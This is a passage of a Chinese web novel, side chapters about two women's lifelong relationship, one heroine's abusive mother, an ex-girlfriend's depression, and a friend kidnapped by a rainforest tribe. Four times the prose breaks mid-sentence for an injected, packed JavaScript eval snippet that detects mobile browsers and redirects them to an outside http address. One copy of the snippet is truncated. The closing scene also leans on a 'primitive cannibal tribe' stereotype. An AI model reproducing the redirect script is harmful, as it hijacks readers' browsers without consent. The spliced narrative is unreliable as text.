“黎羽!”秦离怒了,“我都说了找师傅找师傅,你偏不听,现在好了伐,搞成这个样子。你别弄了,烂摊子越弄越大。” 她气呼呼地用毛巾擦水,给维修师傅打了电话,约好下午来修。 全都安排好了,她回头一看,黎羽还蹲在原地呢,低着头,手指在地板上抠来抠去,不知道在想什么。 看她可怜巴巴的样子,秦离的气一下子散了不少。 哎,说她干嘛呢。 “好啦,阿羽,师傅上门很快就解决了。你快去洗个澡,不要感冒了。” 说着,她把浴巾递过去,把人推进淋浴间。 人和地都清理好,师傅来了也很快把问题解决了,万事大吉。 秦离本来以为这事算过去了,加上工作忙,等闲下来才后知后觉,黎羽还在生闷气呢。 她哭笑不得,晚上看着黎羽躺床上还在刷手机,故意凑过去,头倚在她肩上,语气乖巧:“在看什么呀?” 手机上正在播放家庭维修的两百个小技巧,还是连续剧呢。 黎羽想要遮的时候已经来不及了,看秦离看得津津有味,泄了气。 看完一集,秦离兴致勃勃:“讲得不错呀,下次我们可以试试。” “不试了,没啥用。” 黎羽把手机放在一边,作势要睡觉。 “别呀,我们聊聊天嘛。” 秦离抱着她的手臂摇了摇。 已经几十岁的人了,只有在黎羽面前,她才会如此自然地撒娇。 “聊什么。” 黎羽低着头不看她,但也没拒绝她的靠近。 “就,”秦离眼珠子转了转,“其实是我工作上最近有点小烦恼,不知道怎么解决,愁死了。” 她随口瞎编了个,黎羽见她实在苦恼,出了不少主意,话渐渐多起来,身体也逐渐放松。 听完后,秦离恍然大悟:“原来还可以这样,还是你厉害啊!” 她的表演有点浮夸,黎羽反应过来,但气也消了不少,捏捏她的脸:“故意哄我是吧。” 见她终于笑了,秦离的笑也更真情实感:“是哄,也是真话。在我心里,你一直超级超级超——级厉害。所以厉害的阿羽大人,就不要因为之前我着急时的胡言乱语生我的气了,好不好嘛~” 这下,黎羽最后一点气也没有了。 “我不是生你的气,我是……就是觉得这点事情都没做好,挺挫败的。” 以前总是她照顾秦离多一点,什么事都安排得很稳妥,现在秦离越来越独当一面,反而是她,越来越不中用了。 秦离明白她的想法,开玩笑道:“所以你就想成为经验丰富的水管工哦。现在不是以前,水管工人设不吃香了啦。” 黎羽又被她逗笑。她将秦离搂在怀里,亲了亲她的脸颊:“别担心,我就是一时想不过,过几天就好了。” 秦离都明白,但不舍得她自己消化情绪。 她打开黎羽的手机,继续播放视频:“那我们都学学呗,要是以后再出问题能自己解决,高低发个朋友圈炫耀下。” “好。” 后来,两人把两百集连续剧都追完了,甚至还看了续集。当然,该修不来的还是修不来。事实证明,维修师傅不是白挣这个钱的。 但至少,每晚的睡前乐子有了。 年纪越大,两人越喜欢窝在沙发上一起看电视,机器狗在屋子里溜达,没电了就缩在她们脚边充电休息。 “这剧情,这演技,天啊,豆瓣居然给了四点五分,这届网友还是太宽容了。” “这男主长得,丑,太丑了,丑得惨不忍睹。虽然女主演技也不咋滴,至少人好看啊,演这剧简直是工伤。” “虽然剧情一塌糊涂,但是固执的师姐和新进门小师妹真好磕,渴死我了。” 黎羽现在有时候喜欢看些烂剧,秦离便陪着她一起看,看的时候总忍不住吐槽很多句,倒也是一种乐趣。 两人年年春晚都不落下,评论着歌舞节目越来越有意思,小品相声越来越无聊,每年都说要看到最后,每年都在十二点钟声响起前双双睡着。 但没有关系,每年,她们都在一起。 到很久很久以后,久到两人都不记得是在一起四十五年,还是四十六年的时候,黎羽记忆力变差了很多,又会突然念起很多年前的事。 她头发全部变成了银色,躺在阳台的藤椅上晒太阳。秦离坐在客厅里叠衣服。 这时,黎羽突然说起:“小乖,你是不是把我送你的兔子项链丢了?” 什么小乖,都已经老乖了。 秦离嘀咕着,嘴上从来不舍得说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370285|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出让她改口的话。 还有兔子项链,都多少年前的事了。 秦离走过去,将胸前的项链取出来给她看,是个银色的翅膀,但已经变得黯淡无光,一看就已经戴了很多年了。 “后来我们一起去做了这个,你的是海浪。” “哦,对。”黎羽摸着胸前,后知后觉。 “还有海边,我们说好要一起去海边的。” “去过的,三十多岁,四十多岁,五十多岁……我们去过很多很多次了。” 秦离搬过另外一把藤椅,坐在她旁边,给她翻着每次出去旅游的照片。 “还有那谁有没有……” “没有,我都不记得名字了,哪来的谁啊。” 秦离知道,黎羽说的这些都是曾经留下的许多遗憾。即使后来弥补了,最初的遗憾带来的怅然失落仍一直停留在记忆深处,在后来很偶尔的时刻突然冒出来,变成只言片语。 她每次都耐心回应,在余下的人生中再创造更多美好的记忆碎片。 秦离一直认为,伤痛是无法被完全治愈,也无法被完全遗忘的。它发生了就会一直刻在记忆里,就像钉篱笆,钉子取了,那个洞也会一直在。 但可以让它存在的比例变得更小,只要幸福美好的时刻越来越多,前者就会越来越少被记起,越来越无足轻重。 即使偶尔想起,也很快会翻篇。 即使白发苍苍,秦离依旧喜欢畅想未来:“下次我们再去柳城吧,我想吃啤酒鱼了。” “好,不过得少加点辣,医生上次说了,你平时饮食要清淡点。” “啊,辣椒少了也太不好吃了吧。X﹏X” “要听医嘱啊,不然回头检查数值又要飙升了。” “但是辣椒少了真的不好吃啊,偶尔一次没关系的吧,一次而已嘛,没问题的,就一次。” “你啊,行吧,就这一次。^_^” “好耶^0^” 即使余下生命已经不多了,秦离依旧如年轻时那样活泼乐观,对生活充满期待。用她的话说,只有这24小时可活,也要享受够这24小时所做的一切。 毕生,她都践行自己享受人生的体验派理念,在追求自己所爱的人和事上拼尽全力,毫无保留,行动起来蹦得比兔子还快。想到的能做的她都行动过,无论结果如何,没有任何遗憾了。 黎羽与秦离不同,并不是那么开朗积极的人。她对世界和人生小心谨慎,能够容纳的人和事都很少很少,对什么都淡淡的,像猫一样敏感警惕。 但没有关系,她不需要改变性格。即使少年时期充满阴霾痛苦,她最终也收获了相伴一生的爱人,见识了春花秋月,风吹雨打,阴晴圆缺。她没有执着一生的理想目标,但不知不觉也做了、看了、听了许多,有了些小成就。 回望一生,比她年少预想的要好太多太多。 屋里打转的机器狗已经是第三代了,客厅柜子上增加了两个金属小狗塑像,放在毛发已经暗淡的黄色小狗旁边。 阳光洒在地板上,洒在依偎着的两人身上。 她们握着手,直到最后的最后。 156. 番外四 黎羽从小就知道,自己和其她孩子都不一样。 “你爸跟人跑了!” “你是个没有爹的野种!” “还不知道她妈跟哪个野男人勾搭,才怀上她的呢。” “她是个坏小孩,囡囡,不要跟她玩。” 小孩和大人的偏见、嘲讽和咒骂在她的童年里从不少见,即使被母亲挡去不少,仍有只言片语流入她耳中。 还不懂事的时候,黎羽也曾天真地问过母亲:“妈妈,大家都有爸爸,为什么我没有,我爸爸呢?” 那一次,母亲的憎恶和疯癫直到现在都深深烙在她的记忆里,还有身上被狠狠掐出的红痕和难以忘记的疼痛。 “你个没良心的兔崽子!我辛辛苦苦把你养大,你就会念着那个没影的男人。我就知道,你这个骨子里流着他的血的白眼狼,不会念着我的好。” 母亲哭得厉害,但手上的劲却很大。 黎羽不敢躲,躲避只会带来更多的打骂和疼痛。 其实,黎羽就问过这一次,后来她不敢,也不想再问了。 她知道,为了养活这个家,为了对抗周围人的闲言碎语和冷嘲热讽,母亲已经拼劲全力,在外伏低做小,不知陪着多少笑脸,因此在家里情绪难以收敛也是在所难免。 至于那些落在身上的拳脚、藤条、棍棒和母亲能抓到的所有东西,也不过是情绪失控的附属品罢了。 就像母亲说的,她要感恩,要谦卑,要顺从地接受一切。 每一次暴怒之后都是哭泣,就像雷霆之后总是雨水。 母亲会抱着她,抚摸她的头顶,温柔地说:“妈妈都是为了你好,你要听话。按照我的安排来,将来你一定会成为一个有出息的人,到时候可不要忘记妈妈啊。” 黎羽从小时候的愧疚自责,到后来逐渐变成厌烦憎恶,但这种厌烦憎恶又会带来更多的愧疚自责,如同魔咒般。 她逐渐意识到母亲这样做是不对的,但从小被绳子拴着的小象即使长大了,也不知道如何挣脱。每次轻微的反抗都会在雷霆和暴雨中变成深深的自厌自恨。 直到她发现,自己天生就是喜欢女生的。 啊,原来她从一开始就已经叛离了母亲的掌控,一开始她就是个不同于其她人的异类了。 这一刻,她感到自虐般的畅快。 她自以为在这个虚伪的家之外找到了新的归宿,因此第一次执拗地选择离开母亲,奔赴梦城这个梦一样的乌托邦之地。 打折了的棍棒未能改变她的决定,即使听见母亲说着她自私没良心白眼狼,即使她的心如千万蚁虫啃噬般痛苦,她也硬撑着。 这次,她获得了胜利,人生的第一次胜利。 即使后来,原以为的归宿狠狠背叛了她,让她一蹶不振,但来到梦城,是她做过的最好的决定。 秦离,小乖。 这个在她对爱情已经心如死灰时霸道闯进来的人,和她过去人生中见过的所有人都不一样,跟自己更是两个世界的人。 她天真烂漫,活泼直率。她像是从未遭受阴霾,眼里还有光,对万事万物充满了热情和好奇。 原来世界上还存在这样的人生,黎羽是羡慕,也是畏惧的,想靠近太阳又怕被灼伤。 于是就这样,朝前又退后,亲近又疏离。看着对方因自己而痛苦,欢喜和自厌交织着,折磨着她本就千疮百孔的心。 然而,每当她觉得可以的时候,母亲的声音、自己的反应都让她意识到自己从未脱离控制。她明白她已经有了脱离的能力,却仍会因为母亲的哭泣和嘶喊而犹豫。 她深深憎恶着这样的自己。 但看着过早变得苍老的母亲和她不堪重负的身体,黎羽又悲哀地意识到,她为自己付出的一切是真的,爱和控制紧密地交织在一起,变成牢笼。 知道母亲生了重病后,黎羽的第一反应是窃喜,喜于不需要自己做什么,命运会带走这个残暴的掌控者,她将不再受控制。 她将获得自由。 她应该毫不留情地甩下母亲,像对方说的那样,做个冷漠自私的人。 但母亲的柔弱、哀求和渴求的眼神,让她总难以自制地想到过往为数不多的温情。 母亲并非总是严厉残暴的。 在她还小的时候,母亲也曾温柔地笑过,牵着她的手,说着“我们羽羽是全世界最可爱的孩子呀”,说着“妈妈爱你”,带她去过游乐园,吃过甜甜的棉花糖,用最轻柔的声音哄她睡觉。 在其他孩子欺负她时,母亲总是护在她身前,恶狠狠攻击对方及其保护伞。 母亲自己过得极其节俭朴素,将所有钱都花在她身上,从不吝惜。 在她坚持己见要去梦城时,打骂之后,母亲也曾熬夜为她打点一切,联系她能找到的所有关系,只求她在梦城的日子过得顺畅些。 点点微光让她始终无法狠下心来彻底离开,不知不觉深陷泥潭。 生病之后,母亲的情绪因病痛变得更加古怪。或许是身体不足以支撑她的暴行,也或许是意识到自己的人生提前进入完全依靠黎羽的时刻,母亲从一开始还会打砸手上的东西,到后来不再动手,只是嘴上咒骂嘲讽,软刀子往心里戳。 “看见我这样子,你心里肯定爽快得很,恨不得我快点死了,最好现在就从楼上跳下去,连血都不用脏在家里。” 黎羽早已习惯面无表情照顾她,不想给任何回应。 还是隔壁病床的老太受不了了,忍不住插言:“怎么能这么说孩子,她还这么小,照顾你已经很不容易了。” 于是,母亲的火力找到了出口,全部喷向老太,说得对方再也不敢开口,只能朝黎羽投来同情的目光。 其实她说的没错。 黎羽看着躺在病床上咒骂的母亲,心里想着。 在过去的漫长人生中,她确实无数次幻想过,要是母亲突然被卡车撞死,要是她走在路上突然被高空抛物砸死,要是她开着车掉下了山崖,要是她能这样突然死掉就好了。 因意外暴毙,她不用处理任何后续,就可以摆脱束缚,彻底解脱了。 她想,像母亲说的那样,她就是个冷血无情的怪物,从不念着她的养育之恩。 但眼看着母亲一天比一天虚弱,躺在床上苟延残喘。她没有力气再说什么,只能用哀伤痛苦的眼神望着她,一直望着她。 里面有歉意吗,似乎是有的。 但也或许是黎羽的幻觉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370286|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到很久以后,黎羽都还记得那个阴雨绵绵的湿冷的天,母亲的病情再一次变得严重,被推进ICU抢救。 抢救成功后,医生将她叫过去,委婉告诉她,母亲的病治疗难度很大,但医院还是有治疗方案的,只是不确定能让她的生命延长多久,但期间病人会很痛苦,而且花销非常大。 很多病人到生命晚期都会遇到这种情况,是否继续治疗,由病人和家属自己考虑清楚。需要的时候,医院都会全力抢救。 黎羽说她要好好考虑下。 母亲被送回病房后,黎羽坐在她床边,将这个不幸的消息告诉她。 “妈,你是想现在痛快死去,还是忍受不知道多久的折磨,勉强活着呢?” 母亲微张着嘴,却吐不出一个字,只能拼命睁着眼,用留恋的眼神一直望着黎羽。她的眼角有浑浊的泪流了出来,一直滑到了枕边。 只有一点点的泪,就像干涸的池水。 黎羽知道,她想活。 即使再痛苦,她也不想去死。不知道是留恋这个世界,还是留恋她这个女儿。 就像黎羽自己也不知道,她是更想母亲立刻死去,还是这样痛苦地活着。 晚上回到家里,黎羽收拾房子里的物品时,在母亲房里翻到了几本很厚的相册,里面是从她出生到去年母亲生病前,自己不同时期的所有照片。 母亲按时间顺序摆放着,里面还夹着大量纸条。 【羽羽……】 【妈妈爱你。】 【你会离开妈妈吗?】 【为什么!为什么你跟那个男人会那样像?!】 【妈妈爱你,妈妈好爱你,真的好爱好爱你。不要离开妈妈,要听话,要乖!】 【羽羽,羽羽,我的乖女儿,你要听话,你要乖。】 【对不起,羽羽……】 【……】 【飞吧,去你想去的地方。】 【不要回来……不要回头……】 【我的错,都是我的错,我的错!对不起对不起对不起对不起对不起——】 【死吧快点死吧好痛苦别活了快死吧死死死死死】 【羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽】 越到后面,纸条上的话越混乱,划破白纸的杂乱字迹和大量重复的话看得人毛骨悚然。 但黎羽只是叹气。 她早已习惯这种被包围的窒息,母亲口中的爱和恨都没有区别,都早已建成坚硬的牢笼,将她锁在里面。 最后,黎羽还是选择了继续治疗。随之而来的,是需要钱,很多很多钱。 她因此接手了母亲的服装生意,为了来钱快,大的小的买卖全都做。最艰难的时候,还要去另外打几份零工。 她的生活全部被赚钱所淹没,已经没有了自我。 两年后,母亲咽下了最后一口气,她终于彻底解脱,却也彻底失去了快乐的能力。 她习惯性延续着之前的生活,不知不觉还清了所有债务,但对于未来的人生却没有任何期待。 直到公司要拓展业务,在选择城市时,她摸着剩下的唯一一颗菩提,突然想起许久前曾真心露出的笑容。 南城吧,去南城。 157. 番外五 和秦离分开后,洛依打车回单位。 口罩和眼镜遮住了大半张脸,让人看不清脸上的表情。司机大姐热情搭话,她戴着耳机,假装没听见。 到办公室,她还要准备明天出差的资料,有好多事要做,很忙很忙,忙得来不及想其它任何事。 出办公室的时候已经过十二点了,天空是阴沉沉的棕黑色。她看到妈妈在家庭群发的消息,顺手回了。 不一会,妈妈的电话来了。 “宝贝,怎么还没睡呢?” “刚准备完明天出差要的东西,正往宿舍走。” “好辛苦哦,快回去吧,等出差回来,让你们科长给你放假好好休息。” 洛依没有提跟科长争取假期是件多么困难的事。她走在漆黑的道路上,世界之下,只有自己的脚步声。 她的每一步都动得好艰难,只想就这样倒下,闭着眼再也不要醒过来。 “妈妈,我好累……” 她本能呼救。 妈妈以为她在说工作的事,叹了口气,安慰她:“现在这个形势,也没办法,到处都是一样的,只有自己慢慢调节了。” “……” 洛依不想听这个,又不能压断电话,只能沉默着。 妈妈说了许多宽慰的话,最后道:“钱还够用不,要不等你出差完回来,我和你爸来看看你吧。” “够用,没事,你们过来一趟太折腾,不用了。” 后悔在群里发了消息,洛依耗费最后一点力气说服妈妈不用过来,挂断电话后,抬头看着天空,一颗星星也没有。 回到宿舍,她连一根手指都不想动弹,合衣倒在床上,一夜未眠。 第二天起床时,洛依感觉昏昏沉沉,摸摸自己额头,意识到可能发低烧了。 这次低烧不知道又要持续多久。 她熟练地吞了几片药,匆忙往机场赶去。 硬扛着把活全部做完了,烧一直没有退。 回到单位,洛依终于倒下了,把所有人都吓得不行,连老搞幺蛾子的科长都赶紧利索地给她放了假。 第一时间发现的同事大姐尽心尽力照顾她,送她去医院,给她带饭,像照顾妹妹那样。 “你哟,工作不要太拼,身体是自己的,健康才是最重要的。” “好的,谢谢姐。” 在谁看来,她都这样乖巧,惹人怜爱。 这场病持续了很久,洛依消瘦了不少,看上去更脆弱了。 翻过年,她的生日要到了。 待妈爸一如既往给她过了生日后,她带着许多行李回到单位。 和隔壁舍友一起做完公共区域的清洁后,她开始整理自己房间的东西。 衣柜里挂着紫色T恤,还有买回来就再也没戴过的熊猫帽子,好多熊猫的东西…… 记忆里还有小小的Q版熊猫公仔,修好了吗? 可能再也修不好了吧。 洛依觉得很疲累,清醒着,呼吸着,都很累。 她打开书柜,拿出一个星星玻璃罐,罐子里装满了纸星星。 “每颗星星里都有我想跟你说的话,你开心,不开心都可以拆一颗。” 记忆里有这样的声音。 洛依坐在床上靠墙的角落,缩成一团,打开罐子。 她轻轻摘出一颗,手在颤抖。 【乖仔,等下一次放假,我们一起去海边吧。】 【你真的好可爱,好喜欢你喜欢你喜欢你!】 【乖仔是不爱吃西蓝花的,记住啦!】 【今天看到一只小黄猫感觉跟你好像哦,都可爱>0 【哎我们什么时候才可以结束异地恋呢好想每天看到你】 【要是你每天拆一颗的话岂不是不到两年就没有了】 【等到两年后,我再给乖仔叠更多更多的星星吧。】 …… 【我的月亮,我的珍宝,我最喜欢的宝贝。】 五百二十颗星星,原来拆起来这么快啊…… 罐子的底部放着一枚戒指,是分手那天洛依扔进去的。 被星星环绕的月亮,现在孤零零的,好像连颜色都变得暗淡。 洛依觉得心里很不舒服,拧着难受。她笨拙地将星星一个个叠起来,放回罐子,看着它们越堆越多,将月亮包围。 今天本来是个阳光明媚的日子,但厚重的窗帘拉着,隔绝了温暖,只有暗沉沉的墨绿色隐隐发亮,像一大团污渍。 洛依抱着看起来恢复原状的星星罐子,缩进被子里,彻底拒绝了仅有的一点光亮。 意识沉沉浮浮,洛依睡得很不安稳。她仍然能听见窗外的鸟叫声,凄凉悲伤,她的灵魂离开躯体,飘在虚空中,飘向肉/体无法到达的时空。 时间往前拨动,好像回到了半年前。 她在帝都,在她们分手一年半后,再次看见了秦离。 秦离依旧如她记忆中那样耀眼,笑起来很温暖。繁忙又折磨人的工作丝毫不消磨她的活力,她总是如此光彩夺目。 看着她和同事有说有笑,洛依心生嫉妒。她在阴暗处踟蹰很久,总算鼓起勇气踏了出去,看似轻松自然地和她打招呼,主动邀约一起吃饭。 秦离笑着同意了。 幻梦里没有其他人,更没有那发消息来打断她们的人。 只有她们两人。 秦离一直笑着,是总是对着她的那种宠溺的笑。 意识到对方对自己依旧有所留恋,洛依心中窃喜。 后来,一切的一切都水到渠成。 这次重逢后不久,洛依便主动提议:“下次年假,我们一起去海边玩吧。” “好呀。”秦离应得很爽快,一如既往。 没有任何阻碍,她们去了海边,在沙滩上吹着风,晒着温暖的阳光,说着笑着。 秦离离她很近,身上的香味萦绕在鼻尖。 她的身体微微发热,心脏跳得很快,嘴唇柔软干燥,然后在不断的舔舐啃咬中变得湿润滚烫。 洛依说:“姐姐,我后悔了,我不想和你分开,我们能不能重新在一起?” 她的恐惧、忐忑和痛苦都被秦离温柔怜爱的目光一点点抚平。 她不禁笑着,知道秦离会答应的。她总不舍得让自己难过。 接着,很自然的,她精心准备和协调过的南城的借调岗位很快落实了。即使她的专业不完全匹配,难度较大,但想尽办法的话,也不是没有机会。 虽然只是短期借调,但呆的时间长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370287|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,说不定就能一直呆下来。 去到南城的那天,秦离开车来接她,肩上别着修好了的Q版熊猫公仔。 洛依快步走过去,扑进她怀里,紧紧抱着她。 阳光透过头顶的玻璃照进来,落在两人身上。 洛依笑着,笑着,泪水却止不住地往下流。 真好啊。 真好啊…… 要是这一切是真的,该有多好啊…… 她在黑暗又冰冷的被窝里醒来,星星罐子的角硌得她生疼。 眼角的泪水还未彻底干掉,她的理智回笼时,手上已经本能在聊天栏里找到那个名字,发出消息。 “姐姐” 两个字下面是冰冷的句话。 ……开启了朋友验证,你还不是她朋友。 哈,哈哈。 哈哈哈哈…… 洛依的嘴角上勾着,眉头却皱得很死,咬紧牙关,死命不让更多眼泪掉出来。 她的身体抖得越来越厉害,手上死死抓着星星罐,不顾手心留下的红印,要深入皮肉。 突然,有人敲门:“洛依,你收拾好了吗,姗姐说大家等会一起出去吃个饭。” 洛依忙擦了擦眼睛,保持声音镇定应道:“好的。” 外人面前,洛依看上去没有任何异常,话甚至比平时还说得多。 同事开玩笑说,洛依今天看上去比平时开朗啊,遇到什么好事了? 洛依也笑着回应。 晚饭结束,拖着疲累的身体回到宿舍,洛依脸上的笑才垮了下来。 房间的床上一片狼藉,星星罐子还放在正中央。 洛依僵在原地,盯着它沉默了许久,最后把罐子、衣服、所有相关的东西全部塞进了衣柜的最深处。 她打开电脑,桌面上还放着做了许久的旅游攻略,对比了好多地方。 她将文档里的字一句句删掉,最后一个孤零零的光标在大片空白里闪烁着。 所有的电子记忆也被扔进了储存器的最深处,不会消失,但也不会再被翻出来。 这时,游戏群里有人发消息了,呼唤群友们一起玩最近新上的一个多人联网游戏。 【我来。】 洛依前所未有的积极。 【快快快!】 游戏的世界总是如此单纯又快乐,能让人忘却一切烦恼,也不会负担什么。 洛依一直玩到凌晨三点,玩得头昏脑胀,身体无比疲累,心里却很畅快。 就是这样,这样就很好,这样才是属于她的日常生活。 不需要再有其她什么人加入了。 今晚的天空乌云密布,漆黑一片,看不见星星,也没有月亮,一片混沌。 洛依没有精力看天,一头栽在床上,沉沉睡去。 她依旧睡得很不安稳,做了很多梦,一个接着一个。醒来的时候已经是第二天下午了,梦里什么她都没记住,依旧如睡前那般浑浑噩噩。 放假的日子过得很快很快,开始上班了,她清醒着的时候绝大多数时间都被工作淹没,没有精力去回想其他任何事。 为数不多的自我时间,继续落入游戏的世界。 这样也好。 怎么样,不是活着的呢。 158. 番外六 阿清是个没有家的人,从来都没有。 她有妈妈,只可惜这个妈妈也是另一个孩子的妈妈,更是其他人的妻子。她有一个出于利益共同体而在一起的政治婚姻,无论两边私下玩出什么花样,都不会捅到明面上来破坏这个利益结合的家庭。 她有爸爸,只不过这个爸爸是许多人的情人。他每天辗转在不同女人的床上,为她们提供欢愉。他因此获得了不少金钱,却全部挥霍出去,不留一分。 他可能自己都记不住撒出去多少种子,又有多少变成了人类。 不过阿清不在意。 她从小吃着百家饭长大,天性擅长讨人喜欢,习惯用甜言蜜语来哄骗别人,也习惯不在任何人身上交付真心。 凭借着带有几分忧郁的俊美外表,她在感情场上无往不利,温柔地和无数人拥抱、亲吻、上床,却不会给出任何承诺,与任何人建立稳定长续的亲密关系。 面对欢愉之人的哭泣、痛苦、恳求和咒骂,她只觉得不解。她们不是说好了就这样玩一玩,不要认真吗,怎么突然都变了,这么执着要从她这里获得更多东西。 而且还是爱情,这个世界上最无聊的东西。 久而久之,阿清便习惯不常在一个地方停留,不和任何人保持长期联系。 这个世界很大,所有人归根到底都是独立的个体,相聚是短暂的,分别才是必然。 大家都只是萍水相逢而已,在一起的时候笑笑便行,不必深入。 不过要说例外,还是有一个,就是秦离。 第一眼看见秦离,阿清就知道,又是一个被自己外表吸引的人,和过去许多人一样。 但接触得多了,她发现秦离身上有种不同于其她人的生命力,看向她的眼神也更像是寻找某种救赎和依靠。 像是她曾经短暂养过的小土狗一样,活蹦乱跳,怪有意思的。 阿清习惯性“勾引”她,眼看着两人的关系越来越暧昧亲昵,秦离却在临门一脚的时候退缩了,为身体背叛了内心而痛苦,为早已失去的爱情而痛苦。 这是阿清第一次发现,自己的魅力并没有那么大,甚至可能还成为了某种替代品。 但她并不恼怒,看着秦离,反而觉得她可怜。 怎么会有人在尝过爱情的苦后还会深陷其中,甚至为了早已破碎的爱而苦苦坚守,为了这种虚无缥缈的东西折磨自己。 她怜悯她,因此决定不再参与其中,让她的心多添一分纠结。 再次路过南城,见到秦离是偶然。 阿清惊奇地发现,秦离收起了曾经面对她的暧昧缱绻,而是真正把自己当作一个普通朋友,一个虽然许久未见但依旧单纯为重逢而开心的朋友。 即使她们不一定有下一次见面。 秦离依旧深陷爱情,彷徨不定,一头扎进了过去,为那些阿清觉得没有意义的东西而痛苦的,但她眼里的光更亮了。 阿清仍然不太理解,但却觉得跟现在的秦离相处,比以前面对那些上床的对象要轻松多了。 她只用听秦离说各种日常话题,还有时不时提及的纠结三角恋,可以收起已经作了许多年的姿态,毫无形象地笑着,打趣着,不必有意做出什么回应。 于是等到秦离说,阿清,下次你再路过南城的时候告诉我,我们再一起吃饭吧。 本该拒绝的阿清鬼使神差地回了句好。 此后,一次又一次,南城成为了她在国内中转必去的地方,再后来变成了梦城。 不过三十五岁这一年的生日之约,她食言了。 “你是说,你被个小屁孩黏上,所以回不来了?” 即使建了信号站,雨林边缘的网络依旧不太好,听筒里的声音断断续续。 阿清看着抱住自己大腿的小布丁,无奈道:“是的。一周前,这小孩不知道从哪里冒出来,悄无声息爬进我的帐篷。我醒来发现旁边躺了个人,吓一大跳。” 这小孩长得黑黢黢的,说话叽里咕噜一句听不懂。她穿着一身原始部落的土著衣服,脸上涂着乱七八糟的颜料,也不知道是周围哪个村子的。小孩看见阿清醒来就抱着她,兴奋地在她怀里蹭来蹭去。 阿清带她去附近的村庄打听,大家都不认识她。阿清又报了警,结果这小孩对警察敌视得很,跟着猴子似的上蹿下跳,连抓带咬,把阿清一个劲往雨林深处拉。 小孩对所有人都很警惕,只会亲近阿清。 最后还是村子里的老人想起,她脸上的图腾好像属于很久以前见过的某个少数族裔。她们曾经住在雨林里,后来随着文明的入侵,多次搬迁,再也看不见踪迹。 警察决定将搜寻范围往雨林深处扩展,但在此之前,只有麻烦阿清先带一带这小孩了。 听阿清说完来龙去脉,秦离在电话里嘎嘎乱笑。 “哈哈哈哈,你这运气,这经历,真是绝了。可能小孩认定你是她们部落的王,要带你回去登基呢。你跟着她走试试,说不定她能带你找到那地方。” 在警察多日搜查无果后,阿清不得不认真考虑秦离这玩笑式的建议。 她的签证快到时间了,不能一直呆在这里。但小孩黏她实在黏得紧,有次她趁小孩不注意,终于找到机会偷偷溜走,离开没多远,就听见她在后面嚎啕大哭。 阿清回头看,第一次发现有人能哭成那样,眼睛跟个水龙头似的,一个劲往外涌水,像是经历了万分痛苦的事情。 阿清有点不忍心,重新出现。 小孩跑过来,紧紧抱住她的胳膊,直愣愣地盯着她,让阿清第一次产生了一股罪恶感。 没办法,只有帮小孩找到族人,她才能放心离开了。 警察本来不同意阿清冒险,但见她坚持,便给她身上放了定位器,并叮嘱千万不能走到太深的地方,她们会跟在她身后。 随后其她所有人假装离开,阿清背着行囊,牵着小孩往雨林走去。 发现要重返雨林,小孩兴奋得不行。她一开始就想拉着阿清回到这里,并不想呆在那个有钢筋混泥土的地方。 小孩显然对雨林很熟悉,上蹿下跳,行动矫健。阿清有一些雨林探险经验,却远比不上这个小布丁,看见她熟练应对突然出现的毒蛇巨植,深捏了一把汗。 因为阿清的顾虑,两人走得很慢。她看见小孩眼里的疑惑越来越浓,好像是不懂她怎么突然变得这么磨叽了。 就这样走了三天,行囊里的食物已经吃了一半了,阿清捏着衣服里的定位器,不得不考虑打道回府。 这天下午, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370288|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳快要落山了,在搭帐篷洒药时,阿清突然听见远处传出急促的鸟叫声,小孩变得很兴奋,也回了一串相似的叫声。 紧接着,丛林窸窣,五六个穿着兽皮,画着相似图腾的土著冒了出来,围住两人。小孩跑过去,跟她们叽里咕噜说了一大堆话。 看着为首的土著严厉呵斥了小孩,还有她眼里的敌意,阿清顿感不妙。她还没来得及逃跑,就被人从后面打晕了。 再醒来时,她被捆在了一颗大树上,发现自己身处一个全是木制品的原始部落,旁边还有一口大锅煮着水。 糟糕,自己不是遇到食人族了吧。 